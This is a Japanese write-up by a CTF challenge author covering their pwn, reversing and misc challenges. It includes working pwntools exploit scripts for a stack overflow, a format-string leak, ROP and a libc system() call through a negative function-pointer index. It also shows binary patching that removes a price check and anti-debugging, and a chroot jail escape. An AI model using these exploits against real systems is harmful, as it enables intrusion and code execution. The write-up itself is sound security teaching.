問題

私が作問した上で実際に出題したのは以下の問題です.

writeupや問題はGitHubにも上がっています.

Pwn

Rev

Misc

Writeup

問題のIPアドレスは全て203.0.113.0に置き換えています.

Pwn

stuck

25 solves / 436 pt

問題文

I'm full stuck engineer.

nc 203.0.113.0 4000

about

stuck overflowによってmainのリターンアドレスを書き換える問題です.

この難易度の問題,どうやって作ってもこんな感じになっちゃうから問題の一意性が保証できなくて辛い.

writeup

radare2で見ると,aflの結果からwin関数が定義されている事がわかり,その内容から,winを呼び出すことでflagが読める事に気付けます.

[0x004010f0]> afl|grep win
0x004011d6    1 49           sym.win
[0x004010f0]> pdf @sym.win
┌ 49: sym.win ();
│           0x004011d6      f30f1efa       endbr64
│           0x004011da      55             push rbp
│           0x004011db      4889e5         mov rbp, rsp
│           0x004011de      488d15230e00.  lea rdx, str.flag.txt       ; 0x402008 ; "flag.txt"
│           0x004011e5      488d35250e00.  lea rsi, [0x00402011]       ; "cat"
│           0x004011ec      488d3d220e00.  lea rdi, str.bin_cat        ; 0x402015 ; "/bin/cat"
│           0x004011f3      b800000000     mov eax, 0
│           0x004011f8      e8e3feffff     call sym.imp.execl
│           0x004011fd      bf00000000     mov edi, 0                  ; int status
└           0x00401202      e8c9feffff     call sym.imp.exit           ; void exit(int status)

main関数を読むと,getsの引数がrbp-0x70にあり,スタックフレームのサイズと等しい事がわかります.

[0x004010f0]> pdf @main
            ; DATA XREF from entry0 @ 0x401111
┌ 77: int main (int argc, char **argv, char **envp);
│           ; var char *s @ rbp-0x70
│           0x00401207      f30f1efa       endbr64
│           0x0040120b      55             push rbp
│           0x0040120c      4889e5         mov rbp, rsp
│           0x0040120f      4883ec70       sub rsp, 0x70
│           0x00401213      488d3d040e00.  lea rdi, str.What_s_your_name ; 0x40201e ; "What's your name?\n> " ; const char *format
│           0x0040121a      b800000000     mov eax, 0
│           0x0040121f      e86cfeffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00401224      488d4590       lea rax, [s]
│           0x00401228      4889c7         mov rdi, rax                ; char *s
│           0x0040122b      b800000000     mov eax, 0
│           0x00401230      e87bfeffff     call sym.imp.gets           ; char *gets(char *s)

つまり,getsに0x78バイトのデータと適切(リトルエンディアン,64bit)に加工したwin関数のアドレスを送るとflagが読めます.

#!/usr/bin/env python3
from pwn import *
binfile = './chall'
e = ELF(binfile)
context.binary = binfile

io = remote('203.0.113.0', 4000)

payload = b'a' * 0x78 + pack(e.sym['win'])

io.sendline(payload)
io.interactive()

flag

ISCCTF{Y0u_kn0w_5t4ck_0v3rfl0w}


echo

18 solves / 468 pt

問題文

echo echo

`nc 203.0.113.0 4002`

about

flagがバッファに読み込まれてはいるものの,通常の挙動では表示されません.

バッファのポインタはスタック上にあるので,format string attackを使って読み出します.

writeup

任意のディスアセンブラ等で確認すると,main関数の最初でflag.txtを読み込んでいる事がわかるので,ローカルでも適当なflagを用意しておきます.

echo hogefugapiyo > flag.txt

また,main関数内では,ユーザが任意のデータを入力できるバッファをそのままprintfの第一引数に渡している 事からfsaが利用可能である事がわかります.

gdbとfsaを使ってスタックの状態を確認してみます.

%pを用いて,スタック上の値を表示します.

%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
0xa,(nil),(nil),0xa,0x7ffffffa,0x5555555592a0,0x555555559480,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x70252c70,(nil),(nil)

また,gdbを用いてスタックを見てみると,0x555555559480に”hogefugapiyo”(ローカルで用意したダミーのflag)がある事がわかります.

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd208 --> 0x555555555452 (<main+489>:    mov    edi,0xa)
0008| 0x7fffffffd210 --> 0x5555555592a0 --> 0xfbad2488
0016| 0x7fffffffd218 --> 0x555555559480 ("hogefugapiyo\n")
0024| 0x7fffffffd220 ("%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p")
0032| 0x7fffffffd228 (",%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p")
0040| 0x7fffffffd230 ("p,%p,%p,%p,%p,%p,%p,%p,%p,%p")
0048| 0x7fffffffd238 ("%p,%p,%p,%p,%p,%p,%p")
0056| 0x7fffffffd240 (",%p,%p,%p,%p")

ここで,改めてプログラムからの出力を確認すると,0x555555559480は7番目である事がわかります.

よって,%7$sでこのアドレスの文字列を読み出します.

ローカルで確認すると

$ ./chall
%7$s
hogefugapiyo

$ cat flag.txt
hogefugapiyo

しっかりとflag.txtの内容が出力されている事がわかったので,リモートにも同じ文字列を送ります.

flag

ISCCTF{th3_f1r5t_4rgum3nt_0f_printf_must_b3_a_str1ng_l1t3r4l}


portal

9 solves / 493 pt

問題文

login機能を実装したけど,関数を呼び出し忘れちゃった😭

nc 203.0.113.0 4001

about

ROPです.

pltにsystemがあるので,それを使う事もできましたね.

writeup

mainを読むと,問題文の通りauthenticateを呼び出していませんが,スタック上の変数に対しgetsを使っています.

また,authenticateを読むと,第一引数が0xc0ffeeの時,第二引数をsystemに渡しています.

第一引数が条件を満たさない場合はsystem("cowsay cat flag.txt")が呼び出されます.

これらの解析から,

事が予想できます.

幸いな事に,"cat flag.txt"の文字列はcowsayの所にあるので,これが流用できます.

#!/usr/bin/env python3
from pwn import *
binfile = './chall'
context.binary = binfile
e = ELF(binfile)
rop = ROP(e)

io = remote("203.0.113.0", 4001)

for _ in range(6):
    io.readline()

rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(pack(0xc0ffee)) # rdi
rop.raw(rop.find_gadget(['pop rsi', 'pop r15', 'ret']))
rop.raw(pack(next(e.search(b'cat flag.txt')))) # rsi
rop.raw(pack(0)) # r15
rop.call(pack(e.sym['authenticate']))

payload = b'a' * 0x28 + rop.chain()

io.sendline(payload)

print(io.readline().decode())

flag

ISCCTF{ROP_1s_k1ll3d_by_Intel_CET}


iter_fold

6 solves / 498 pt

問題文

トゥットゥルー♪まゆしぃ☆です。

`nc 203.0.113.0 4004`

about

Rustのiter().fold()の様な挙動を再現するプログラムです.

関数ポインタ経由の呼び出しと,C言語における配列のインデックスアクセスが糖衣構文である事を 利用します.

また,libcのベースアドレスが提示されているので活用します.

writeup

typedef long (*operation)(long*, long);

struct Fold {
    long array[5];
    operation ops[6];
};

こんな構造体があり,

long fold(long* array, long* init, operation op) {
    for (int i = 0; i < 5; i++)
        op(init, array[i])

    return *init;
}

に渡される.

mainでは,

struct Fold f = {
    .array = {0, 0, 0, 0, 0},
    .ops[0] = multiplication,
    .ops[1] = add,
    .ops[3] = sub,
    .ops[5] = division,
};

の様に変数が宣言されています,addsubは名前に準じた操作を行う関数です.

f.arrayの各要素をscanf("%ld", &f.array[i])で読み込んだ後,初期値,演算子を読んでいます.

しかし,演算子の扱いが問題です.

scanf("%c", &op);

opに読んだ後,

fold(f.array, &init, f.ops[op_to_index(op)]);

の様な呼び出しをしています.

op_to_indexはシンプルで,

int op_to_index(char op) {
    return op - '*';
}

これは,想定されている演算子('+', '-', '*', '/')の中では正常に機能しますが,それ以外の文字が入力された場合に脆弱です.

C言語において,配列への添字によるアクセスは糖衣構文です.

ops[i] == *(ops + i)

つまり,添字の値が負であった場合も動作します.

ここで,メモリ上のFoldの配置を確認すると

f.array[4] == f.ops[-1]

である事がわかります.

f.array[4]に任意のアドレスを入れれば,それを呼び出せる訳です.

from pwn import *

binfile = '../distfiles/chall'
e = ELF(binfile)
context.binary = binfile
libc = ELF('../distfiles/libc-2.27.so')

io = remote('203.0.113.0', 4004)

system_offset = libc.sym['system']
sh_byte = 0x6873

# 0x7f3965438000 < トゥットゥルー♪ libcです☆
libc_base_addr = int(io.recvline().split()[0], 16)

system_addr = libc_base_addr + system_offset

array = [0] * 4 + [system_addr]

for i in array:
    # array[] =
    io.sendlineafter('=', str(i))

# init =
io.sendlineafter('=', str(sh_byte))

# operator please(+,-,*,/)
io.readline()

# op = '*' - 1
io.sendline(chr(ord('*') - 1))

# vec![].iter().fold(, |ans, &x| ans  x);
io.readline()

io.sendline('cat flag.txt')
print(io.readline().decode())

flag

ISCCTF{m4g1c4l_p0w3rfull_libc_offset}


Reversing

strings

63 solves / 100 pt

問題文

**(ja)**

CTFでは問題名がヒントになる場合があります。

**(en)**

The challenge name is sometimes a hint in CTF.

---

作問者(Author): [n01e0](https://twitter.com/n01e0) / レビュワー(Reviewer): [8ayac](https://twitter.com/8ayac)

about

問題文と問題名の通りです

writeup

$ strings strings |grep ISCCTF
ISCCTF{c4n_y0u_r34d_m3?}

flag

ISCCTF{c4n_y0u_r34d_m3?}


bookshop

18 solves / 468 pt

問題文

D☆V

about

D☆Vはドキドキ☆ビジュアルの略です.

色々な雑誌が売っているというプログラムです.

雑誌の中にflagが混ざっていますが,高すぎて所持金が足りません.

一応バイナリにパッチを当てる事が想定解ですが,flagの出力部分を読む事でも解けるのでeasyです.

writeup

mainを読むと,最初に色々と初期化してるのがわかるので,flagの値段を代入している部分を探す.

│           0x000018ff      f30f1efa       endbr64
│           0x00001903      55             push rbp
│           0x00001904      4889e5         mov rbp, rsp
│           0x00001907      4881ecd00100.  sub rsp, 0x1d0
│           0x0000190e      64488b042528.  mov rax, qword fs:[0x28]
│           0x00001917      488945f8       mov qword [var_8h], rax
│           0x0000191b      31c0           xor eax, eax
│           0x0000191d      488d95e0feff.  lea rdx, [s]
│           0x00001924      b800000000     mov eax, 0
│           0x00001929      b91f000000     mov ecx, 0x1f
│           0x0000192e      4889d7         mov rdi, rdx
│           0x00001931      f348ab         rep stosq qword [rdi], rax
│           0x00001934      66c745d4d007   mov word [var_2ch], 0x7d0
│           0x0000193a      48b84b697261.  movabs rax, 0x61726172694b  ; 'Kirara'
│           0x00001944      ba00000000     mov edx, 0
│           0x00001949      48898530feff.  mov qword [var_1d0h], rax
│           0x00001950      48899538feff.  mov qword [var_1c8h], rdx
│           0x00001957      c78540feffff.  mov dword [var_1c0h], 0
│           0x00001961      c78544feffff.  mov dword [var_1bch], 0x17c
│           0x0000196b      48c78548feff.  mov qword [var_1b8h], 0x58414d ; 'MAX'
│           0x00001976      48c78550feff.  mov qword [var_1b0h], 0
│           0x00001981      c78558feffff.  mov dword [var_1a8h], 0
│           0x0000198b      c7855cfeffff.  mov dword [var_1a4h], 0x17c
│           0x00001995      48b843617261.  movabs rax, 0x7461726143    ; 'Carat'
│           0x0000199f      ba00000000     mov edx, 0
│           0x000019a4      48898560feff.  mov qword [var_1a0h], rax
│           0x000019ab      48899568feff.  mov qword [var_198h], rdx
│           0x000019b2      c78570feffff.  mov dword [var_190h], 0
│           0x000019bc      c78574feffff.  mov dword [var_18ch], 0x1ea
│           0x000019c6      48b8466f7277.  movabs rax, 0x64726177726f46 ; 'Forward'
│           0x000019d0      ba00000000     mov edx, 0
│           0x000019d5      48898578feff.  mov qword [var_188h], rax
│           0x000019dc      48899580feff.  mov qword [var_180h], rdx
│           0x000019e3      c78588feffff.  mov dword [var_178h], 0
│           0x000019ed      c7858cfeffff.  mov dword [var_174h], 0x24e
│           0x000019f7      48b84d697261.  movabs rax, 0x656c636172694d ; 'Miracle'
│           0x00001a01      ba00000000     mov edx, 0
│           0x00001a06      48898590feff.  mov qword [var_170h], rax
│           0x00001a0d      48899598feff.  mov qword [var_168h], rdx
│           0x00001a14      c785a0feffff.  mov dword [var_160h], 0
│           0x00001a1e      c785a4feffff.  mov dword [var_15ch], 0x16e
│           0x00001a28      48c785a8feff.  mov qword [var_158h], 0x67616c66 ; 'flag'
│           0x00001a33      48c785b0feff.  mov qword [var_150h], 0
│           0x00001a3e      c785b8feffff.  mov dword [var_148h], 0
│           0x00001a48      c785bcfeffff.  mov dword [var_144h], 0xffff <- 値段
│           0x00001a52      c785c0feffff.  mov dword [var_140h], 3
│           0x00001a5c      c785c4feffff.  mov dword [var_13ch], 3
│           0x00001a66      c785c8feffff.  mov dword [var_138h], 1
│           0x00001a70      c785ccfeffff.  mov dword [var_134h], 2
│           0x00001a7a      c785d0feffff.  mov dword [var_130h], 3
│           0x00001a84      c785d4feffff.  mov dword [var_12ch], 1
│           0x00001a8e      488d3dd50600.  lea rdi, str.Welcome_to_BookStore ; 0x216a ; "Welcome to Book
419 00001a20: a4fe ffff 6e01 0000 48c7 85a8 feff ff66  ....n...H......f
420 00001a30: 6c61 6748 c785 b0fe ffff 0000 0000 c785  lagH............
421 00001a40: b8fe ffff 0000 0000 c785 bcfe ffff ffff  ................
                                                 ↑ここ

これを書き換えればflagの値段を変えられるので,0にでもしておきます(所持金を増やしても良いが).

419 00001a20: a4fe ffff 6e01 0000 48c7 85a8 feff ff66  ....n...H......f
420 00001a30: 6c61 6748 c785 b0fe ffff 0000 0000 c785  lagH............
421 00001a40: b8fe ffff 0000 0000 c785 bcfe ffff 0000  ................

すると,flagが0円になるので買って読みます.

flag

ISCCTF{y0u_c4n_p4tch_b1n4r13s_w1th_xxd_4nd_vim}


The_Full_Bug

8 solves / 495 pt

問題文

デバッグできん

about

Rustバイナリです.

想定解はアンチデバッグを潰してレジスタを書き換える方法ですが,これもflagの出力部分を読めば解けるのでmediumです.

writeup

そのままだとgdb経由で実行できません.

dbg.mainを読むと,最初の方でdetectと名前にある関数を呼び出しています.

detectではptraceを使ってデバッガの検知を行っているので,この呼び出しをnopで潰します.

│           0x0000a257      e8b4050000     call sym The_Full_Bug::detect::h18a724201806bd04 ; main.rs:6
2597 0000a240: c366 2e0f 1f84 0000 0000 000f 1f44 0000  .f...........D..
2598 0000a250: 4881 ec48 0200 00e8 b405 0000 eb0f 488b  H..H..........H.
                                ↑ここ

0x90(nop)で潰す

2597 0000a240: c366 2e0f 1f84 0000 0000 000f 1f44 0000  .f...........D..
2598 0000a250: 4881 ec48 0200 0090 9090 9090 eb0f 488b  H..H..........H.

また,mainでは,他にもcheck_flagと名前にある関数を呼んでいます.

名前からこの関数がflagのチェックをしていると予測できるので,ここにbreakpointを置きます.

gdb-peda$ b check_flag
Breakpoint 1 at 0xa76e: file src/main.rs, line 22.

また,mainを読むと,check_flagの戻り値(rax)によって分岐している部分があるのがわかりま す.

適当な文字列を入力した際は戻り値が0になっているので,これをgdbを使って1に書き換えます.

gdbで適当な文字列を入力し,check_flagからretする直前にset $rax=1します.

gdb-peda$
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffff7ff000
RCX: 0x4
RDX: 0x5555555edb10 --> 0x5555555ee380 --> 0x5555555efe60 --> 0x0
RSI: 0x5555555ecaf0 --> 0x5555555edb10 --> 0x5555555ee380 --> 0x5555555efe60 --> 0x0
RDI: 0x5555555ce016 --> 0x1000400020004
RBP: 0x1
RSP: 0x7fffffffce50 --> 0x5555555cec00 --> 0x65676f68 ('hoge')
RIP: 0x55555555e7fd (<The_Full_Bug::check_flag+157>:    add    rsp,0x78)
R8 : 0x3
R9 : 0x78bffff
R10: 0x7ed8320b
R11: 0x219c91a9
R12: 0x1
R13: 0x7fffff7fe000
R14: 0x5555555c8e28 --> 0x555555568a80 (<core::ptr::drop_in_place>:     sub    rsp,0x10)
R15: 0x7fffffffd308 --> 0x55555555e250 (<The_Full_Bug::main>:   sub    rsp,0x248)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555e7f4 <The_Full_Bug::check_flag+148>:       mov    al,BYTE PTR [rsp+0x7]
   0x55555555e7f8 <The_Full_Bug::check_flag+152>:       and    al,0x1
   0x55555555e7fa <The_Full_Bug::check_flag+154>:       movzx  eax,al
=> 0x55555555e7fd <The_Full_Bug::check_flag+157>:       add    rsp,0x78
   0x55555555e801 <The_Full_Bug::check_flag+161>:       ret
   0x55555555e802 <The_Full_Bug::check_flag+162>:       mov    QWORD PTR [rsp+0x48],rax
   0x55555555e807 <The_Full_Bug::check_flag+167>:       mov    DWORD PTR [rsp+0x50],edx
   0x55555555e80b <The_Full_Bug::check_flag+171>:
    jmp    0x55555555e7e7 <The_Full_Bug::check_flag+135>:           jmp    0x55555555e7e7 <The_Full_Bug::check_flag+135>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffce50 --> 0x5555555cec00 --> 0x65676f68 ('hoge')
0008| 0x7fffffffce58 --> 0x5555555ecaf0 --> 0x5555555edb10 --> 0x5555555ee380 --> 0x5555555efe60 --> 0x0
0016| 0x7fffffffce60 --> 0x40 ('@')
0024| 0x7fffffffce68 --> 0x40 ('@')
0032| 0x7fffffffce70 --> 0x2005555555cec00
0040| 0x7fffffffce78 --> 0x5555555cec00 --> 0x65676f68 ('hoge')
0048| 0x7fffffffce80 --> 0x4
0056| 0x7fffffffce88 --> 0x5555555cec00 --> 0x65676f68 ('hoge')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055555555e7fd      24      }
gdb-peda$ set $rax=1
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x7fffff7ff000
RCX: 0x4
RDX: 0x5555555edb10 --> 0x5555555ee380 --> 0x5555555efe60 --> 0x0
RSI: 0x5555555ecaf0 --> 0x5555555edb10 --> 0x5555555ee380 --> 0x5555555efe60 --> 0x0
RDI: 0x5555555ce016 --> 0x1000400020004
RBP: 0x1
RSP: 0x7fffffffcec8 --> 0x55555555e3eb (<The_Full_Bug::main+411>:       mov    BYTE PTR [rsp+0x5f],al)
RIP: 0x55555555e801 (<The_Full_Bug::check_flag+161>:    ret)
R8 : 0x3
R9 : 0x78bffff
R10: 0x7ed8320b
R11: 0x219c91a9
R12: 0x1
R13: 0x7fffff7fe000
R14: 0x5555555c8e28 --> 0x555555568a80 (<core::ptr::drop_in_place>:     sub    rsp,0x10)
R15: 0x7fffffffd308 --> 0x55555555e250 (<The_Full_Bug::main>:   sub    rsp,0x248)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555e7f8 <The_Full_Bug::check_flag+152>:       and    al,0x1
   0x55555555e7fa <The_Full_Bug::check_flag+154>:       movzx  eax,al
   0x55555555e7fd <The_Full_Bug::check_flag+157>:       add    rsp,0x78
=> 0x55555555e801 <The_Full_Bug::check_flag+161>:       ret
   0x55555555e802 <The_Full_Bug::check_flag+162>:       mov    QWORD PTR [rsp+0x48],rax
   0x55555555e807 <The_Full_Bug::check_flag+167>:       mov    DWORD PTR [rsp+0x50],edx
   0x55555555e80b <The_Full_Bug::check_flag+171>:
    jmp    0x55555555e7e7 <The_Full_Bug::check_flag+135>:           jmp    0x55555555e7e7 <The_Full_Bug::check_flag+135>
   0x55555555e80d:      nop    DWORD PTR [rax]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcec8 --> 0x55555555e3eb (<The_Full_Bug::main+411>:      mov    BYTE PTR [rsp+0x5f],al)
0008| 0x7fffffffced0 --> 0x0
0016| 0x7fffffffced8 --> 0x0
0024| 0x7fffffffcee0 --> 0x0
0032| 0x7fffffffcee8 --> 0x0
0040| 0x7fffffffcef0 --> 0x0
0048| 0x7fffffffcef8 --> 0x0
0056| 0x7fffffffcf00 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055555555e801 in The_Full_Bug::check_flag (input=...) at src/main.rs:24
24      }
gdb-peda$ c
Continuing.
ISCCTF{ptrace_c4n_4ls0_b3_u53d_t0_d3t3ct_d3bugg1ng}
[Inferior 1 (process 1133360) exited normally]
Warning: not running
gdb-peda$

flag

ISCCTF{ptrace_c4n_4ls0_b3_u53d_t0_d3t3ct_d3bugg1ng}


Misc

Shell_Aint_Bad_Place_to_Be

18 solves / 468 pt

問題文

jailbreakできますか?

`nc 203.0.113.0 5000`

about

簡易的なchroot jailに閉じ込められる問題です.

問題へアクセスすると,

事がわかります.

しかし,pwdすると/にいる為,cat ../flag.txt等はできません.

いくつかコマンドが用意されている上,ソースコードも読めます.

chroot(2)cwdを変更しない事を利用したchroot jailbreakです.

writeup

ソースコードを読むと,chrootchroot(args[1])しかしない事がわかる.

man 2 chrootを読むとわかる様に,mkdir foo;chroot foo; cd ..chroot jailから逃げ出せてしまう.

よって,以下の順番でコマンドを送信するとflagが読める

  1. mkdir break(任意のディレクトリ名)
  2. chroot break
  3. cat ../flag.txt

flag

ISCCTF{chr00t_1s_n0t_ch4ng3_cwd}